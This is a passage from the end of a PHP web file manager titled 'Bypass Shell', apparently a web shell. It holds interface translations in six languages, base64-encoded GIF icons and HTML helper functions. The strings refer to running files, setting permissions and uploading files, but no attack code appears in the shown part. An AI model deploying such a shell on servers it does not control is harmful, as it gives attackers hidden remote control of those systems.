1979 'rename' => 'omdøb',
1980 'move' => 'flyt',
1981 'copy' => 'kopier',
1982 'edit' => 'rediger',
1983 'download' => 'download',
1984 'upload' => 'upload',
1985 'create' => 'opret',
1986 'change' => 'skift',
1987 'save' => 'gem',
1988 'set' => 'sæt',
1989 'reset' => 'nulstil',
1990 'relative' => 'Relativ sti til valg',
1991 
1992 'yes' => 'Ja',
1993 'no' => 'Nej',
1994 'back' => 'tilbage',
1995 'destination' => 'Distination',
1996 'symlink' => 'Symbolsk link',
1997 'no_output' => 'ingen resultat',
1998 
1999 'user' => 'Bruger',
2000 'password' => 'Kodeord',
2001 'add' => 'tilføj',
2002 'add_basic_auth' => 'tilføj grundliggende rettigheder',
2003 
2004 'uploaded' => '"[%1]" er blevet uploaded.',
2005 'not_uploaded' => '"[%1]" kunnu ikke uploades.',
2006 'already_exists' => '"[%1]" findes allerede.',
2007 'created' => '"[%1]" er blevet oprettet.',
2008 'not_created' => '"[%1]" kunne ikke oprettes.',
2009 'really_delete' => 'Slet disse filer?',
2010 'deleted' => "Disse filer er blevet slettet:\n[%1]",
2011 'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
2012 'rename_file' => 'Omdød fil:',
2013 'renamed' => '"[%1]" er blevet omdøbt til "[%2]".',
2014 'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".',
2015 'move_files' => 'Flyt disse filer:',
2016 'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
2017 'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
2018 'copy_files' => 'Kopier disse filer:',
2019 'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
2020 'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
2021 'not_edited' => '"[%1]" kan ikke redigeres.',
2022 'executed' => "\"[%1]\" er blevet kørt korrekt:\n{\%2}",
2023 'not_executed' => "\"[%1]\" kan ikke køres korrekt:\n{\%2}",
2024 'saved' => '"[%1]" er blevet gemt.',
2025 'not_saved' => '"[%1]" kunne ikke gemmes.',
2026 'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
2027 'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
2028 'permission_for' => 'Rettigheder for "[%1]":',
2029 'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
2030 'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].',
2031 'not_readable' => '"[%1]" Kan ikke læses.'
2032     );
2033 
2034   case 'tr':
2035 
2036     $date_format = 'n/j/y H:i:s';
2037 
2038     return array(
2039 'directory' => 'Klasör',
2040 'file' => 'Dosya',
2041 'filename' => 'dosya adi',
2042 
2043 'size' => 'boyutu',
2044 'permission' => 'Izin',
2045 'owner' => 'sahib',
2046 'group' => 'Grup',
2047 'other' => 'Digerleri',
2048 'functions' => 'Fonksiyonlar',
2049 
2050 'read' => 'oku',
2051 'write' => 'yaz',
2052 'execute' => 'çalistir',
2053 
2054 'create_symlink' => 'yarat symlink',
2055 'delete' => 'sil',
2056 'rename' => 'ad degistir',
2057 'move' => 'tasi',
2058 'copy' => 'kopyala',
2059 'edit' => 'düzenle',
2060 'download' => 'indir',
2061 'upload' => 'yükle',
2062 'create' => 'create',
2063 'change' => 'degistir',
2064 'save' => 'kaydet',
2065 'set' => 'ayar',
2066 'reset' => 'sifirla',
2067 'relative' => 'Hedef yola göre',
2068 
2069 'yes' => 'Evet',
2070 'no' => 'Hayir',
2071 'back' => 'Geri',
2072 'destination' => 'Hedef',
2073 'symlink' => 'Kýsa yol',
2074 'no_output' => 'çikti yok',
2075 
2076 'user' => 'Kullanici',
2077 'password' => 'Sifre',
2078 'add' => 'ekle',
2079 'add_basic_auth' => 'ekle basit-authentification',
2080 
2081 'uploaded' => '"[%1]" yüklendi.',
2082 'not_uploaded' => '"[%1]" yüklenemedi.',
2083 'already_exists' => '"[%1]" kullanilmakta.',
2084 'created' => '"[%1]" olusturuldu.',
2085 'not_created' => '"[%1]" olusturulamadi.',
2086 'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
2087 'deleted' => "Bu dosyalar silindi:\n[%1]",
2088 'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
2089 'rename_file' => 'Adi degisen dosya:',
2090 'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
2091 'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
2092 'move_files' => 'Tasinan dosyalar:',
2093 'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
2094 'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
2095 'copy_files' => 'Kopyalanan dosyalar:',
2096 'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
2097 'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
2098 'not_edited' => '"[%1]" düzenlenemiyor.',
2099 'executed' => "\"[%1]\" basariyla çalistirildi:\n{\%2}",
2100 'not_executed' => "\"[%1]\" çalistirilamadi:\n{\%2}",
2101 'saved' => '"[%1]" kaydedildi.',
2102 'not_saved' => '"[%1]" kaydedilemedi.',
2103 'symlinked' => '"[%2]" den "[%1]" e kýsayol oluþturuldu.',
2104 'not_symlinked' => '"[%2]"den "[%1]" e kýsayol oluþturulamadý.',
2105 'permission_for' => 'Izinler "[%1]":',
2106 'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
2107 'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
2108 'not_readable' => '"[%1]" okunamiyor.'
2109     );
2110 
2111   case 'cs':
2112 
2113     $date_format = 'd.m.y H:i:s';
2114 
2115     return array(
2116 'directory' => 'Adresář',
2117 'file' => 'Soubor',
2118 'filename' => 'Jméno souboru',
2119 
2120 'size' => 'Velikost',
2121 'permission' => 'Práva',
2122 'owner' => 'Vlastník',
2123 'group' => 'Skupina',
2124 'other' => 'Ostatní',
2125 'functions' => 'Funkce',
2126 
2127 'read' => 'Čtení',
2128 'write' => 'Zápis',
2129 'execute' => 'Spouštění',
2130 
2131 'create_symlink' => 'Vytvořit symbolický odkaz',
2132 'delete' => 'Smazat',
2133 'rename' => 'Přejmenovat',
2134 'move' => 'Přesunout',
2135 'copy' => 'Zkopírovat',
2136 'edit' => 'Otevřít',
2137 'download' => 'Stáhnout',
2138 'upload' => 'Nahraj na server',
2139 'create' => 'Vytvořit',
2140 'change' => 'Změnit',
2141 'save' => 'Uložit',
2142 'set' => 'Nastavit',
2143 'reset' => 'zpět',
2144 'relative' => 'Relatif',
2145 
2146 'yes' => 'Ano',
2147 'no' => 'Ne',
2148 'back' => 'Zpět',
2149 'destination' => 'Destination',
2150 'symlink' => 'Symbolický odkaz',
2151 'no_output' => 'Prázdný výstup',
2152 
2153 'user' => 'Uživatel',
2154 'password' => 'Heslo',
2155 'add' => 'Přidat',
2156 'add_basic_auth' => 'přidej základní autentizaci',
2157 
2158 'uploaded' => 'Soubor "[%1]" byl nahrán na server.',
2159 'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.',
2160 'already_exists' => 'Soubor "[%1]" už exituje.',
2161 'created' => 'Soubor "[%1]" byl vytvořen.',
2162 'not_created' => 'Soubor "[%1]" nemohl být  vytvořen.',
2163 'really_delete' => 'Vymazat soubor?',
2164 'deleted' => "Byly vymazány tyto soubory:\n[%1]",
2165 'not_deleted' => "Tyto soubory nemohly být vytvořeny:\n[%1]",
2166 'rename_file' => 'Přejmenuj soubory:',
2167 'renamed' => 'Soubor "[%1]" byl přejmenován na "[%2]".',
2168 'not_renamed' => 'Soubor "[%1]" nemohl být přejmenován na "[%2]".',
2169 'move_files' => 'Přemístit tyto soubory:',
2170 'moved' => "Tyto soubory byly přemístěny do \"[%2]\":\n[%1]",
2171 'not_moved' => "Tyto soubory nemohly být přemístěny do \"[%2]\":\n[%1]",
2172 'copy_files' => 'Zkopírovat tyto soubory:',
2173 'copied' => "Tyto soubory byly zkopírovány do \"[%2]\":\n[%1]",
2174 'not_copied' => "Tyto soubory nemohly být zkopírovány do \"[%2]\":\n[%1]",
2175 'not_edited' => 'Soubor "[%1]" nemohl být otevřen.',
2176 'executed' => "SOubor \"[%1]\" byl spuštěn :\n{\%2}",
2177 'not_executed' => "Soubor \"[%1]\" nemohl být spuštěn:\n{\%2}",
2178 'saved' => 'Soubor "[%1]" byl uložen.',
2179 'not_saved' => 'Soubor "[%1]" nemohl být uložen.',
2180 'symlinked' => 'Byl vyvořen symbolický odkaz "[%2]" na soubor "[%1]".',
2181 'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvořen.',
2182 'permission_for' => 'Práva k "[%1]":',
2183 'permission_set' => 'Práva k "[%1]" byla změněna na [%2].',
2184 'permission_not_set' => 'Práva k "[%1]" nemohla být změněna na [%2].',
2185 'not_readable' => 'Soubor "[%1]" není možno přečíst.'
2186     );
2187 
2188   case 'ru':
2189 
2190     $date_format = 'd.m.y H:i:s';
2191 
2192     return array(
2193 'directory' => 'Каталог',
2194 'file' => 'Файл',
2195 'filename' => 'Имя файла',
2196 
2197 'size' => '� азмер',
2198 'permission' => 'Права',
2199 'owner' => 'Хозяин',
2200 'group' => 'Группа',
2201 'other' => 'Другие',
2202 'functions' => 'Функция',
2203 
2204 'read' => 'читать',
2205 'write' => 'писать',
2206 'execute' => 'выполнить',
2207 
2208 'create_symlink' => 'Сделать симлинк',
2209 'delete' => 'удалить',
2210 'rename' => 'переименовать',
2211 'move' => 'передвинуть',
2212 'copy' => 'копировать',
2213 'edit' => 'редактировать',
2214 'download' => 'скачать',
2215 'upload' => 'закачать',
2216 'create' => 'сделать',
2217 'change' => 'поменять',
2218 'save' => 'сохранить',
2219 'set' => 'установить',
2220 'reset' => 'сбросить',
2221 'relative' => 'относительный путь к цели',
2222 
2223 'yes' => 'да',
2224 'no' => 'нет',
2225 'back' => 'назад',
2226 'destination' => 'цель',
2227 'symlink' => 'символический линк',
2228 'no_output' => 'нет вывода',
2229 
2230 'user' => 'Пользователь',
2231 'password' => 'Пароль',
2232 'add' => 'добавить',
2233 'add_basic_auth' => 'Добавить HTTP-Basic-Auth',
2234 
2235 'uploaded' => '"[%1]" был закачен.',
2236 'not_uploaded' => '"[%1]" невозможно было закачять.',
2237 'already_exists' => '"[%1]" уже существует.',
2238 'created' => '"[%1]" был сделан.',
2239 'not_created' => '"[%1]" не возможно сделать.',
2240 'really_delete' => 'Действительно этот файл удалить?',
2241 'deleted' => "Следующие файлы были удалены:\n[%1]",
2242 'not_deleted' => "Следующие файлы не возможно было удалить:\n[%1]",
2243 'rename_file' => 'Переименовываю файл:',
2244 'renamed' => '"[%1]" был переименован на "[%2]".',
2245 'not_renamed' => '"[%1] невозможно было переименовать на "[%2]".',
2246 'move_files' => 'Передвигаю следующие файлы:',
2247 'moved' => "Следующие файлы были передвинуты в каталог \"[%2]\":\n[%1]",
2248 'not_moved' => "Следующие файлы невозможно было передвинуть в каталог \"[%2]\":\n[%1]",
2249 'copy_files' => 'Копирую следущие файлы:',
2250 'copied' => "Следущие файлы былы скопированы в каталог \"[%2]\" :\n[%1]",
2251 'not_copied' => "Следующие файлы невозможно было скопировать в каталог \"[%2]\" :\n[%1]",
2252 'not_edited' => '"[%1]" не может быть отредактирован.',
2253 'executed' => "\"[%1]\" был успешно исполнен:\n{\%2}",
2254 'not_executed' => "\"[%1]\" невозможно было запустить на исполнение:\n{\%2}",
2255 'saved' => '"[%1]" был сохранен.',
2256 'not_saved' => '"[%1]" невозможно было сохранить.',
2257 'symlinked' => 'Симлинк с "[%2]" на "[%1]" был сделан.',
2258 'not_symlinked' => 'Невозможно было сделать симлинк с "[%2]" на "[%1]".',
2259 'permission_for' => 'Права доступа "[%1]":',
2260 'permission_set' => 'Права доступа "[%1]" были изменены на [%2].',
2261 'permission_not_set' => 'Невозможно было изменить права доступа к "[%1]" на [%2] .',
2262 'not_readable' => '"[%1]" невозможно прочитать.'
2263     );
2264 
2265   case 'pl':
2266 
2267     $date_format = 'd.m.y H:i:s';
2268 
2269     return array(
2270 'directory' => 'Katalog',
2271 'file' => 'Plik',
2272 'filename' => 'Nazwa pliku',
2273 'size' => 'Rozmiar',
2274 'permission' => 'Uprawnienia',
2275 'owner' => 'Właściciel',
2276 'group' => 'Grupa',
2277 'other' => 'Inni',
2278 'functions' => 'Funkcje',
2279 
2280 'read' => 'odczyt',
2281 'write' => 'zapis',
2282 'execute' => 'wykonywanie',
2283 
2284 'create_symlink' => 'utwórz dowiązanie symboliczne',
2285 'delete' => 'kasuj',
2286 'rename' => 'zamień',
2287 'move' => 'przenieś',
2288 'copy' => 'kopiuj',
2289 'edit' => 'edytuj',
2290 'download' => 'pobierz',
2291 'upload' => 'Prześlij',
2292 'create' => 'Utwórz',
2293 'change' => 'Zmień',
2294 'save' => 'Zapisz',
2295 'set' => 'wykonaj',
2296 'reset' => 'wyczyść',
2297 'relative' => 'względna ścieżka do celu',
2298 
2299 'yes' => 'Tak',
2300 'no' => 'Nie',
2301 'back' => 'cofnij',
2302 'destination' => 'miejsce przeznaczenia',
2303 'symlink' => 'dowiązanie symboliczne',
2304 'no_output' => 'nie ma wyjścia',
2305 
2306 'user' => 'Urzytkownik',
2307 'password' => 'Hasło',
2308 'add' => 'dodaj',
2309 'add_basic_auth' => 'dodaj podstawowe uwierzytelnianie',
2310 
2311 'uploaded' => '"[%1]" został przesłany.',
2312 'not_uploaded' => '"[%1]" nie może być przesłane.',
2313 'already_exists' => '"[%1]" już istnieje.',
2314 'created' => '"[%1]" został utworzony.',
2315 'not_created' => '"[%1]" nie można utworzyć.',
2316 'really_delete' => 'usunąć te pliki?',
2317 'deleted' => "Pliki zostały usunięte:\n[%1]",
2318 'not_deleted' => "Te pliki nie mogą być usunięte:\n[%1]",
2319 'rename_file' => 'Zmień nazwę pliku:',
2320 'renamed' => '"[%1]" zostało zmienione na "[%2]".',
2321 'not_renamed' => '"[%1] nie można zmienić na "[%2]".',
2322 'move_files' => 'Przenieś te pliki:',
2323 'moved' => "Pliki zostały przeniesione do \"[%2]\":\n[%1]",
2324 'not_moved' => "Pliki nie mogą być przeniesione do \"[%2]\":\n[%1]",
2325 'copy_files' => 'Skopiuj te pliki:',
2326 'copied' => "Pliki zostały skopiowane \"[%2]\":\n[%1]",
2327 'not_copied' => "Te pliki nie mogą być kopiowane do \"[%2]\":\n[%1]",
2328 'not_edited' => '"[%1]" nie można edytować.',
2329 'executed' => "\"[%1]\" zostało wykonane pomyślnie:\n{\%2}",
2330 'not_executed' => "\"[%1]\" nie może być wykonane:\n{\%2}",
2331 'saved' => '"[%1]" został zapisany.',
2332 'not_saved' => '"[%1]" nie można zapisać.',
2333 'symlinked' => 'Dowiązanie symboliczne "[%2]" do "[%1]" zostało utworzone.',
2334 'not_symlinked' => 'Dowiązanie symboliczne "[%2]" do "[%1]" nie moze być utworzone.',
2335 'permission_for' => 'Uprawnienia "[%1]":',
2336 'permission_set' => 'Uprawnienia "[%1]" zostały ustalone na [%2].',
2337 'permission_not_set' => 'Uprawnienia "[%1]" nie mogą być ustawione na [%2].',
2338 'not_readable' => '"[%1]" nie można odczytać.'
2339     );
2340 
2341   case 'en':
2342   default:
2343 
2344     $date_format = 'n/j/y H:i:s';
2345 
2346     return array(
2347 'directory' => 'Directory',
2348 'file' => 'File',
2349 'filename' => 'Filename',
2350 
2351 'size' => 'Size',
2352 'permission' => 'Permission',
2353 'owner' => 'Owner',
2354 'group' => 'Group',
2355 'other' => 'Others',
2356 'functions' => 'Functions',
2357 
2358 'read' => 'read',
2359 'write' => 'write',
2360 'execute' => 'execute',
2361 
2362 'create_symlink' => 'create symlink',
2363 'delete' => 'delete',
2364 'rename' => 'rename',
2365 'move' => 'move',
2366 'copy' => 'copy',
2367 'edit' => 'edit',
2368 'download' => 'download',
2369 'upload' => 'upload',
2370 'create' => 'create',
2371 'change' => 'change',
2372 'save' => 'save',
2373 'set' => 'set',
2374 'reset' => 'reset',
2375 'relative' => 'Relative path to target',
2376 
2377 'yes' => 'Yes',
2378 'no' => 'No',
2379 'back' => 'back',
2380 'destination' => 'Destination',
2381 'symlink' => 'Symlink',
2382 'no_output' => 'no output',
2383 
2384 'user' => 'User',
2385 'password' => 'Password',
2386 'add' => 'add',
2387 'add_basic_auth' => 'add basic-authentification',
2388 
2389 'uploaded' => '"[%1]" has been uploaded.',
2390 'not_uploaded' => '"[%1]" could not be uploaded.',
2391 'already_exists' => '"[%1]" already exists.',
2392 'created' => '"[%1]" has been created.',
2393 'not_created' => '"[%1]" could not be created.',
2394 'really_delete' => 'Delete these files?',
2395 'deleted' => "These files have been deleted:\n[%1]",
2396 'not_deleted' => "These files could not be deleted:\n[%1]",
2397 'rename_file' => 'Rename file:',
2398 'renamed' => '"[%1]" has been renamed to "[%2]".',
2399 'not_renamed' => '"[%1] could not be renamed to "[%2]".',
2400 'move_files' => 'Move these files:',
2401 'moved' => "These files have been moved to \"[%2]\":\n[%1]",
2402 'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
2403 'copy_files' => 'Copy these files:',
2404 'copied' => "These files have been copied to \"[%2]\":\n[%1]",
2405 'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
2406 'not_edited' => '"[%1]" can not be edited.',
2407 'executed' => "\"[%1]\" has been executed successfully:\n{\%2}",
2408 'not_executed' => "\"[%1]\" could not be executed successfully:\n{\%2}",
2409 'saved' => '"[%1]" has been saved.',
2410 'not_saved' => '"[%1]" could not be saved.',
2411 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
2412 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
2413 'permission_for' => 'Permission of "[%1]":',
2414 'permission_set' => 'Permission of "[%1]" was set to [%2].',
2415 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
2416 'not_readable' => '"[%1]" can not be read.'
2417     );
2418 
2419   }
2420 
2421 }
2422 
2423 function getimage ($image) {
2424   switch ($image) {
2425   case 'file':
2426     return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2427   case 'folder':
2428     return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
2429   case 'hidden_file':
2430     return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2431   case 'link':
2432     return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
2433   case 'smiley':
2434     return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
2435   case 'arrow':
2436     return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
2437   }
2438 }
2439 
2440 function html_header () {
2441   global $site_charset;
2442 
2443   echo <<<END
2444 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
2445      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2446 <html xmlns="http://www.w3.org/1999/xhtml">
2447 <head>
2448 
2449 <meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
2450 
2451 <title>Bypass Shell</title>
2452 
2453 <style type="text/css">
2454 body { font: small sans-serif; text-align: center }
2455 img { width: 17px; height: 13px }
2456 a, a:visited { text-decoration: none; color: navy }
2457 hr { border-style: none; height: 1px; background-color: silver; color: silver }
2458 #main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
2459 #main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
2460 .listing th, .listing td { padding: 1px 3pt 0 3pt }
2461 .listing th { border: 1px solid silver }
2462 .listing td { border: 1px solid #ddd; background: white }
2463 .listing .checkbox { text-align: center }
2464 .listing .filename { text-align: left }
2465 .listing .size { text-align: right }
2466 .listing th.permission { text-align: left }
2467 .listing td.permission { font-family: monospace }
2468 .listing .owner { text-align: left }
2469 .listing .group { text-align: left }
2470 .listing .functions { text-align: left }
2471 .listing_footer td { background: #eee; border: 1px solid silver }
2472 #directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
2473 #directory { background: #eee; border: 1px solid silver }
2474 #upload { padding-top: 1em }
2475 #create { padding-bottom: 1em }
2476 .small, .small option { font-size: x-small }
2477 textarea { border: none; background: white }
2478 table.dialog { margin-left: auto; margin-right: auto }
2479 td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
2480 #permission { margin-left: auto; margin-right: auto }
2481 #permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
2482 td.permission_action { text-align: right }
2483 #symlink { background: #eee; border: 1px solid silver }
2484 #symlink td { text-align: left; padding: 3pt }
2485 #red_button { width: 120px; color: #400 }
2486 #green_button { width: 120px; color: #040 }
2487 #error td { background: maroon; color: white; border: 1px solid silver }
2488 #notice td { background: green; color: white; border: 1px solid silver }
2489 #notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
2490 code { font-size: 12pt }
2491 td { white-space: nowrap }
2492 </style>
2493 
2494 <script type="text/javascript">
2495 <!--
2496 function activate (name) {
2497   if (document && document.forms[0] && document.forms[0].elements['focus']) {
2498     document.forms[0].elements['focus'].value = name;
2499   }
2500 }
2501 //-->
2502 </script>
2503 
2504 </head>
2505 <body>
2506 
2507 
2508 END;
2509 
2510 }
2511 
2512 function html_footer () {
2513 
2514   echo <<<END
2515 </body>
2516 </html>
2517 END;
2518 
2519 }
2520 
2521 function notice ($phrase) {
2522   global $cols;
2523 
2524   $args = func_get_args();
2525   array_shift($args);
2526 
2527   return '<tr id="notice">
2528  <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
2529 </tr>
2530 ';
2531 
2532 }
2533 
2534 function error ($phrase) {
2535   global $cols;
2536 
2537   $args = func_get_args();
2538   array_shift($args);
2539 
2540   return '<tr id="error">
2541  <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
2542 </tr>
2543 ';
2544 
2545 }
2546 
2547 ?>